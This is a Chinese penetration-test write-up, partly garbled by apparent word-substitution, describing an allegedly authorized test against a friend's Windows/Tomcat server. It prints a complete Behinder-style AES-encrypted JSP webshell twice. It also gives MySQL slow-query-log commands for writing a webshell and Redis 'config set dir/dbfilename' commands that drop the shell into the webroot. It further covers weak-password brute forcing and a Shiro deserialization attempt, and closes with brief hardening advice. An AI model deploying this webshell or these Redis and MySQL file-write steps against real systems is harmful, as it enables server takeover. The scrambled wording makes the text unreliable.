PS:本文仅用于学习互换,严禁用于任何造孽用场,违者后果自大,与本站及作者无关。

解析出来创造..19.102,

扫一波端口创造,

jspselect显示错误踩坑版渗入渗出记某次授权测试 JavaScript

21/tcp open

80/tcp open http Microsoft IIS httpd 10.0

6379/tcp open

8085/tcp open http nginx 1.16.1 tianhe

8089/tcp open http 404

8098/tcp open http 404

一看开放做事还不少,挨个来,抓一波redis。

敏感地创造彷佛有弱密码,直接网站上去试试。
还真给我找到了一个管理系统,祭出我强大的字典,再搞一搞朋友名字的社工,利用burp的intruder。

哈,不出我所料怼了两分钟就怼进去了,而且还是超管,这里就不放过程图了:

到处翻了翻,创造是开拓环境。

系统文件上传:

个中有些上传点,竟然吸收PUT方法,直接上传,改文件名后缀、内容,burp走一波:

诶,不对,竟然过不去,好家伙!

返回于:

Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location

java报错,缘故原由是没有该目录,好的吧,记住利用jsp了,用冰蝎的加密马。

<%@page import=&#34;java.util.,javax.crypto.,javax.crypto.spec."%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

mysql日志写入:

漫游系统中创造有sql数据库管理,貌似是直接拼装sql语句的:

考试测验mysql的骚操作-慢日志写入webshell:

SHOW VARIABLES LIKE "%slow_query_log%";

正常的话还可以类似:

set global slow_query_log=1;

set global slow_query_log_file='C:\\Tomcat\\webapps\\ROOT\\conf-back.jsp';

select ' <%@page import="java.util.,javax.crypto........一句话木马' or sleep(11);

WTF???解析缺点??又白高兴了一场,抓了个包看看:

原来是url编码拼接了,而且利用阐明器吸收语句进行处理,算了,谁让我这么菜呢,给朋友做了太多日志不太好交差。

shiro反序列化:

剖析数据包创造相应有rememberMe=deleteMe标识,于是想到最新的shiro反序列化。

拿出我的工具试一下:

工具地址:

https://github.com/fupinglee/ShiroScan/releases

https://github.com/fupinglee/ShiroScan/releases/tag/v1.1

https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20

https://github.com/wh1t3p1g/ysoserial

https://github.com/frohoff/ysoserial

https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

我去,不对劲,仔细一看,原来要求数据包只带to标识,不该用coie,于是直接放弃。

redis未授权:

哎呦,一个小站还很稳定,没事,还有别的端口,想起来刚瞥见的redis,很常见的redis未授权访问。

(参考文章《Redis on Windows 出网利用探索》:https://xz.aliyun.com/t/8153)

但是redis未授权只能写入文件,linux可写公钥,写操持任务反弹,wndows就只能写webshell了,但还有一个现实问题,须要获取真实目录。

于是本菜又在网站里漫游了一波,终于被我创造一个目录浏览功能!

但是当前网站的根目录是不可能访问的,只能解析到别的的盘,于是包罗了一波。

彷佛创造明晰不起的事情!
竟然有某大厂杀毒!

那我适合心了,好多东西须要免杀。

创造好多个tomcat,遐想到端口汇总8089和8098都开放但是404,这就正常了,只是测试站点,须要特定目录才能访问。

于是挨个试,终于创造一个aico的目录:

访问8089创造:

还等什么,试试redis写入功能,可以的话直接免杀webshell:

创造有权限,于是本地搭建环境测试冰蝎马:

可以放心地利用了:

(redis写入字符要用“\”转义)

config set dir "C:\\Program Files\\\\\\ROOT"

config set dbfilename "index-back.jsp"

set xxx1xxx "\<\%\@page import\=\"java\.util\.\\,javax\.crypto\.\\,javax\.crypto\.spec\.\\"\%\>\<\%\!class U extends ClassLoader\{U\(ClassLoader c\)\{super\(c\)\;\}public Class g\(byte \[\]b\)\{return super\.defineClass\(b\,0\,b\.length\)\;\}\}\%\>\<\%if \(request\.getMethod\(\)\.equals\(\"POST\"\)\)\{String k\=\"e45e329feb5d925b\"\;session\.putValue\(\"u\"\,k\)\;Cipher c\=Cipher\.getInstance\(\"AES\"\)\;c\.init\(2\,new SecretKeySpec\(k\.getBytes\(\)\,\"AES\"\)\)\;new U\(this\.getClass\(\)\.getClassLoader\(\)\)\.g\(c\.doFinal\(new sun.misc.BASE64Decoder\(\)\.decodeBuffer\(request\.getReader\(\)\.readLine\(\)\)\)\)\.newInstance\(\)\.equals\(pageContext\)\;\}\%\>"

当然末了别忘了复原:

del xxx1xxx

config set dir "C:\\\\ "

config set dbfilename "dump"

访问该页面,没有报错。

冰蝎连接

末了终于松了一口气,总算不是没有啥都没干成,然后整理一下报给朋友,顺便提了几个建议:别把测试做事公开在公网,可以设置白名单访问。

朋友说这是在公网的单一做事器,没有域环境或者事情组,于是就没有了后续步骤,不过朋友说你运气好,就这个做事是管理员权限,其他都是普通用户……我表示,实在我也试了很多,哈哈哈。

总结

总结几点:

避免设置弱密码,利用繁芜密码提高测试业务的安全性。

非必要的做事不要暴露在公网。

业务开拓时对登录cookie进行加密,避免利用纯挚的token校验用户。

常用业务利用普通用户启动….